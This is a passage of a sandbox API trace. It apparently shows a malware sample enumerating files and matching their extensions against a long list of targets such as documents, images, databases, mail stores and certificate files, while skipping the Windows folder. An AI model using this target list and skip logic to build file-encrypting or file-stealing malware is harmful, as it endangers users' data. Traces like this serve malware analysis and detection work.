(lpString1=".csv", lpString2=".xml") returned -1 [0181.910] lstrlenW (lpString=".cub") returned 4 [0181.910] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0181.910] lstrlenW (lpString=".dae") returned 4 [0181.910] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0181.910] lstrlenW (lpString=".dat") returned 4 [0181.911] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0181.911] lstrlenW (lpString=".db") returned 3 [0181.911] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0181.911] lstrlenW (lpString=".dbf") returned 4 [0181.911] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.911] lstrlenW (lpString=".dbx") returned 4 [0181.911] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0181.911] lstrlenW (lpString=".dc3") returned 4 [0181.911] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0181.911] lstrlenW (lpString=".dcm") returned 4 [0181.911] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0181.911] lstrlenW (lpString=".dcr") returned 4 [0181.911] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0181.911] lstrlenW (lpString=".der") returned 4 [0181.911] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0181.911] lstrlenW (lpString=".dib") returned 4 [0181.911] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0181.911] lstrlenW (lpString=".dic") returned 4 [0181.911] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0181.911] lstrlenW (lpString=".dif") returned 4 [0181.911] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0181.911] lstrlenW (lpString=".divx") returned 5 [0181.911] lstrcmpiW (lpString1=".divx", lpString2="2.xml") returned -1 [0181.911] lstrlenW (lpString=".djvu") returned 5 [0181.911] lstrcmpiW (lpString1=".djvu", lpString2="2.xml") returned -1 [0181.912] lstrlenW (lpString=".dng") returned 4 [0181.912] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0181.912] lstrlenW (lpString=".doc") returned 4 [0181.912] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.912] lstrlenW (lpString=".docm") returned 5 [0181.912] lstrcmpiW (lpString1=".docm", lpString2="2.xml") returned -1 [0181.912] lstrlenW (lpString=".docx") returned 5 [0181.912] lstrcmpiW (lpString1=".docx", lpString2="2.xml") returned -1 [0181.912] lstrlenW (lpString=".dot") returned 4 [0181.912] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0181.912] lstrlenW (lpString=".dotm") returned 5 [0181.912] lstrcmpiW (lpString1=".dotm", lpString2="2.xml") returned -1 [0181.912] lstrlenW (lpString=".dotx") returned 5 [0181.912] lstrcmpiW (lpString1=".dotx", lpString2="2.xml") returned -1 [0181.912] lstrlenW (lpString=".dpx") returned 4 [0181.912] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0181.912] lstrlenW (lpString=".dqy") returned 4 [0181.912] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0181.912] lstrlenW (lpString=".dsn") returned 4 [0181.912] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0181.912] lstrlenW (lpString=".dt") returned 3 [0181.912] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0181.912] lstrlenW (lpString=".dtd") returned 4 [0181.912] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0181.912] lstrlenW (lpString=".dwg") returned 4 [0181.912] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0181.913] lstrlenW (lpString=".dwt") returned 4 [0181.913] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0181.913] lstrlenW (lpString=".dx") returned 3 [0181.913] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0181.913] lstrlenW (lpString=".dxf") returned 4 [0181.913] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0181.913] lstrlenW (lpString=".edml") returned 5 [0181.913] lstrcmpiW (lpString1=".edml", lpString2="2.xml") returned -1 [0181.913] lstrlenW (lpString=".efd") returned 4 [0181.913] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0181.913] lstrlenW (lpString=".elf") returned 4 [0181.913] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0181.913] lstrlenW (lpString=".emf") returned 4 [0181.913] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0181.913] lstrlenW (lpString=".emz") returned 4 [0181.913] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0181.913] lstrlenW (lpString=".epf") returned 4 [0181.913] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0181.913] lstrlenW (lpString=".eps") returned 4 [0181.913] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0181.914] lstrlenW (lpString=".epsf") returned 5 [0181.914] lstrcmpiW (lpString1=".epsf", lpString2="2.xml") returned -1 [0181.914] lstrlenW (lpString=".epsp") returned 5 [0181.914] lstrcmpiW (lpString1=".epsp", lpString2="2.xml") returned -1 [0181.914] lstrlenW (lpString=".erf") returned 4 [0181.914] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0181.914] lstrlenW (lpString=".exr") returned 4 [0181.914] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0181.914] lstrlenW (lpString=".f4v") returned 4 [0181.914] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0181.914] lstrlenW (lpString=".fido") returned 5 [0181.914] lstrcmpiW (lpString1=".fido", lpString2="2.xml") returned -1 [0181.914] lstrlenW (lpString=".flm") returned 4 [0181.914] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0181.915] lstrlenW (lpString=".flv") returned 4 [0181.915] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0181.915] lstrlenW (lpString=".frm") returned 4 [0181.915] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0181.915] lstrlenW (lpString=".fxg") returned 4 [0181.915] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0181.915] lstrlenW (lpString=".geo") returned 4 [0181.915] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0181.915] lstrlenW (lpString=".gif") returned 4 [0181.916] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0181.916] lstrlenW (lpString=".grs") returned 4 [0181.916] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0181.916] lstrlenW (lpString=".gz") returned 3 [0181.916] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0181.916] lstrlenW (lpString=".h") returned 2 [0181.916] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0181.916] lstrlenW (lpString=".hdr") returned 4 [0181.916] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0181.916] lstrlenW (lpString=".hpp") returned 4 [0181.916] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0181.916] lstrlenW (lpString=".hta") returned 4 [0181.916] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0181.916] lstrlenW (lpString=".htc") returned 4 [0181.916] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0181.916] lstrlenW (lpString=".htm") returned 4 [0181.916] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0181.916] lstrlenW (lpString=".html") returned 5 [0181.916] lstrcmpiW (lpString1=".html", lpString2="2.xml") returned -1 [0181.916] lstrlenW (lpString=".icb") returned 4 [0181.916] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0181.916] lstrlenW (lpString=".ics") returned 4 [0181.916] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0181.916] lstrlenW (lpString=".iff") returned 4 [0181.916] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0181.916] lstrlenW (lpString=".inc") returned 4 [0181.917] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0181.917] lstrlenW (lpString=".indd") returned 5 [0181.917] lstrcmpiW (lpString1=".indd", lpString2="2.xml") returned -1 [0181.917] lstrlenW (lpString=".ini") returned 4 [0181.917] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0181.917] lstrlenW (lpString=".iqy") returned 4 [0181.917] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0181.917] lstrlenW (lpString=".j2c") returned 4 [0181.917] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0181.917] lstrlenW (lpString=".j2k") returned 4 [0181.917] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0181.917] lstrlenW (lpString=".java") returned 5 [0181.917] lstrcmpiW (lpString1=".java", lpString2="2.xml") returned -1 [0181.917] lstrlenW (lpString=".jp2") returned 4 [0181.917] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0181.917] lstrlenW (lpString=".jpc") returned 4 [0181.917] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0181.917] lstrlenW (lpString=".jpe") returned 4 [0181.917] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0181.917] lstrlenW (lpString=".jpeg") returned 5 [0181.917] lstrcmpiW (lpString1=".jpeg", lpString2="2.xml") returned -1 [0181.917] lstrlenW (lpString=".jpf") returned 4 [0181.917] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0181.917] lstrlenW (lpString=".jpg") returned 4 [0181.918] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.918] lstrlenW (lpString=".jpx") returned 4 [0181.918] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0181.918] lstrlenW (lpString=".js") returned 3 [0181.918] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0181.918] lstrlenW (lpString=".jsf") returned 4 [0181.918] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0181.918] lstrlenW (lpString=".json") returned 5 [0181.918] lstrcmpiW (lpString1=".json", lpString2="2.xml") returned -1 [0181.918] lstrlenW (lpString=".jsp") returned 4 [0181.918] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0181.918] lstrlenW (lpString=".kdc") returned 4 [0181.918] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0181.918] lstrlenW (lpString=".kmz") returned 4 [0181.918] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0181.918] lstrlenW (lpString=".kwm") returned 4 [0181.918] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0181.918] lstrlenW (lpString=".lasso") returned 6 [0181.918] lstrcmpiW (lpString1=".lasso", lpString2="h2.xml") returned -1 [0181.918] lstrlenW (lpString=".lbi") returned 4 [0181.918] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0181.919] lstrlenW (lpString=".lgf") returned 4 [0181.919] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0181.919] lstrlenW (lpString=".lgp") returned 4 [0181.919] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0181.919] lstrlenW (lpString=".log") returned 4 [0181.919] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0181.919] lstrlenW (lpString=".m1v") returned 4 [0181.919] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0181.919] lstrlenW (lpString=".m4a") returned 4 [0181.919] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0181.919] lstrlenW (lpString=".m4v") returned 4 [0181.919] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0181.919] lstrlenW (lpString=".max") returned 4 [0181.919] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0181.919] lstrlenW (lpString=".md") returned 3 [0181.919] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0181.919] lstrlenW (lpString=".mda") returned 4 [0181.919] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0181.919] lstrlenW (lpString=".mdb") returned 4 [0181.919] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0181.919] lstrlenW (lpString=".mde") returned 4 [0181.919] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0181.919] lstrlenW (lpString=".mdf") returned 4 [0181.920] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0181.920] lstrlenW (lpString=".mdw") returned 4 [0181.920] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0181.920] lstrlenW (lpString=".mef") returned 4 [0181.920] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0181.920] lstrlenW (lpString=".mft") returned 4 [0181.920] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0181.920] lstrlenW (lpString=".mfw") returned 4 [0181.920] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0181.920] lstrlenW (lpString=".mht") returned 4 [0181.920] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0181.920] lstrlenW (lpString=".mhtml") returned 6 [0181.920] lstrcmpiW (lpString1=".mhtml", lpString2="h2.xml") returned -1 [0181.920] lstrlenW (lpString=".mka") returned 4 [0181.920] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0181.920] lstrlenW (lpString=".mkidx") returned 6 [0181.920] lstrcmpiW (lpString1=".mkidx", lpString2="h2.xml") returned -1 [0181.920] lstrlenW (lpString=".mkv") returned 4 [0181.920] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0181.920] lstrlenW (lpString=".mos") returned 4 [0181.920] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0181.921] lstrlenW (lpString=".mov") returned 4 [0181.921] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0181.921] lstrlenW (lpString=".mp3") returned 4 [0181.921] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0181.921] lstrlenW (lpString=".mp4") returned 4 [0181.921] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0181.921] lstrlenW (lpString=".mpeg") returned 5 [0181.921] lstrcmpiW (lpString1=".mpeg", lpString2="2.xml") returned -1 [0181.921] lstrlenW (lpString=".mpg") returned 4 [0181.921] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0181.921] lstrlenW (lpString=".mpv") returned 4 [0181.921] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0181.921] lstrlenW (lpString=".mrw") returned 4 [0181.921] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0181.921] lstrlenW (lpString=".msg") returned 4 [0181.921] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0181.921] lstrlenW (lpString=".mxl") returned 4 [0181.921] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0181.921] lstrlenW (lpString=".myd") returned 4 [0181.921] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0181.921] lstrlenW (lpString=".myi") returned 4 [0181.921] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0181.921] lstrlenW (lpString=".nef") returned 4 [0181.921] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0181.921] lstrlenW (lpString=".nrw") returned 4 [0181.922] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0181.922] lstrlenW (lpString=".obj") returned 4 [0181.922] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0181.922] lstrlenW (lpString=".odb") returned 4 [0181.922] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0181.922] lstrlenW (lpString=".odc") returned 4 [0181.922] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0181.922] lstrlenW (lpString=".odm") returned 4 [0181.922] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0181.922] lstrlenW (lpString=".odp") returned 4 [0181.922] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0181.922] lstrlenW (lpString=".ods") returned 4 [0181.922] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0181.922] lstrlenW (lpString=".oft") returned 4 [0181.922] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0181.922] lstrlenW (lpString=".one") returned 4 [0181.922] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0181.922] lstrlenW (lpString=".onepkg") returned 7 [0181.922] lstrcmpiW (lpString1=".onepkg", lpString2="th2.xml") returned -1 [0181.922] lstrlenW (lpString=".onetoc2") returned 8 [0181.922] lstrcmpiW (lpString1=".onetoc2", lpString2="eth2.xml") returned -1 [0181.922] lstrlenW (lpString=".opt") returned 4 [0181.922] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0181.922] lstrlenW (lpString=".oqy") returned 4 [0181.922] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0181.923] lstrlenW (lpString=".orf") returned 4 [0181.923] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0181.923] lstrlenW (lpString=".p12") returned 4 [0181.923] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0181.923] lstrlenW (lpString=".p7b") returned 4 [0181.923] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0181.923] lstrlenW (lpString=".p7c") returned 4 [0181.923] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0181.923] lstrlenW (lpString=".pam") returned 4 [0181.923] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0181.923] lstrlenW (lpString=".pbm") returned 4 [0181.923] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0181.923] lstrlenW (lpString=".pct") returned 4 [0181.923] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0181.923] lstrlenW (lpString=".pcx") returned 4 [0181.923] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0181.923] lstrlenW (lpString=".pdd") returned 4 [0181.923] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0181.923] lstrlenW (lpString=".pdf") returned 4 [0181.923] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.923] lstrlenW (lpString=".pdp") returned 4 [0181.923] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0181.923] lstrlenW (lpString=".pef") returned 4 [0181.923] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0181.924] lstrlenW (lpString=".pem") returned 4 [0181.924] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0181.924] lstrlenW (lpString=".pff") returned 4 [0181.924] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0181.924] lstrlenW (lpString=".pfm") returned 4 [0181.924] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0181.924] lstrlenW (lpString=".pfx") returned 4 [0181.924] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0181.924] lstrlenW (lpString=".pgm") returned 4 [0181.924] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0181.924] lstrlenW (lpString=".php") returned 4 [0181.924] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0181.924] lstrlenW (lpString=".php3") returned 5 [0181.924] lstrcmpiW (lpString1=".php3", lpString2="2.xml") returned -1 [0181.924] lstrlenW (lpString=".php4") returned 5 [0181.925] lstrcmpiW (lpString1=".php4", lpString2="2.xml") returned -1 [0181.925] lstrlenW (lpString=".php5") returned 5 [0181.925] lstrcmpiW (lpString1=".php5", lpString2="2.xml") returned -1 [0181.925] lstrlenW (lpString=".phtml") returned 6 [0181.925] lstrcmpiW (lpString1=".phtml", lpString2="h2.xml") returned -1 [0181.925] lstrlenW (lpString=".pict") returned 5 [0181.925] lstrcmpiW (lpString1=".pict", lpString2="2.xml") returned -1 [0181.926] lstrlenW (lpString=".pl") returned 3 [0181.926] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0181.926] lstrlenW (lpString=".pls") returned 4 [0181.926] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0181.926] lstrlenW (lpString=".pm") returned 3 [0181.926] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0181.926] lstrlenW (lpString=".png") returned 4 [0181.926] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0181.926] lstrlenW (lpString=".pnm") returned 4 [0181.926] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0181.926] lstrlenW (lpString=".pot") returned 4 [0181.926] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0181.926] lstrlenW (lpString=".potm") returned 5 [0181.926] lstrcmpiW (lpString1=".potm", lpString2="2.xml") returned -1 [0181.926] lstrlenW (lpString=".potx") returned 5 [0181.926] lstrcmpiW (lpString1=".potx", lpString2="2.xml") returned -1 [0181.926] lstrlenW (lpString=".ppa") returned 4 [0181.926] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0181.926] lstrlenW (lpString=".ppam") returned 5 [0181.926] lstrcmpiW (lpString1=".ppam", lpString2="2.xml") returned -1 [0181.926] lstrlenW (lpString=".ppm") returned 4 [0181.926] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0181.926] lstrlenW (lpString=".pps") returned 4 [0181.926] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0181.926] lstrlenW (lpString=".ppsm") returned 5 [0181.926] lstrcmpiW (lpString1=".ppsm", lpString2="2.xml") returned -1 [0181.927] lstrlenW (lpString=".ppt") returned 4 [0181.954] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.954] lstrlenW (lpString=".pptm") returned 5 [0181.955] lstrcmpiW (lpString1=".pptm", lpString2="2.xml") returned -1 [0181.955] lstrlenW (lpString=".pptx") returned 5 [0181.955] lstrcmpiW (lpString1=".pptx", lpString2="2.xml") returned -1 [0181.955] lstrlenW (lpString=".prn") returned 4 [0181.955] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0181.956] lstrlenW (lpString=".ps") returned 3 [0181.956] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0181.956] lstrlenW (lpString=".psb") returned 4 [0181.956] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0181.956] lstrlenW (lpString=".psd") returned 4 [0181.956] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0181.956] lstrlenW (lpString=".pst") returned 4 [0181.956] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0181.956] lstrlenW (lpString=".ptx") returned 4 [0181.956] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0181.956] lstrlenW (lpString=".pub") returned 4 [0181.956] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0181.956] lstrlenW (lpString=".pwm") returned 4 [0181.957] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0181.957] lstrlenW (lpString=".pxr") returned 4 [0181.957] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0181.957] lstrlenW (lpString=".py") returned 3 [0181.957] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0181.957] lstrlenW (lpString=".qt") returned 3 [0181.957] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0181.957] lstrlenW (lpString=".r3d") returned 4 [0181.957] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0181.957] lstrlenW (lpString=".raf") returned 4 [0181.957] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0181.957] lstrlenW (lpString=".rar") returned 4 [0181.957] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.957] lstrlenW (lpString=".raw") returned 4 [0181.957] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0181.957] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0181.958] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0181.958] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0181.959] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0181.959] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78433f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES-valencia", cAlternateFileName="CA-ES-~1")) returned 1 [0181.959] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia") returned 109 [0181.959] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia") returned 1 [0181.959] lstrlenW (lpString="ca-ES-valencia") returned 14 [0181.959] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ca-ES-valencia") returned -1 [0181.959] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0181.959] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia") returned 109 [0181.959] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78433f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0181.961] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78433f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0181.961] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0181.961] lstrlenW (lpString="index.html") returned 10 [0181.961] lstrlenW (lpString=".1cd") returned 4 [0181.961] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.961] lstrlenW (lpString=".3ds") returned 4 [0181.961] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0181.961] lstrlenW (lpString=".3fr") returned 4 [0181.961] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0181.961] lstrlenW (lpString=".3g2") returned 4 [0181.961] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0181.962] lstrlenW (lpString=".3gp") returned 4 [0181.962] lstrcmpiW 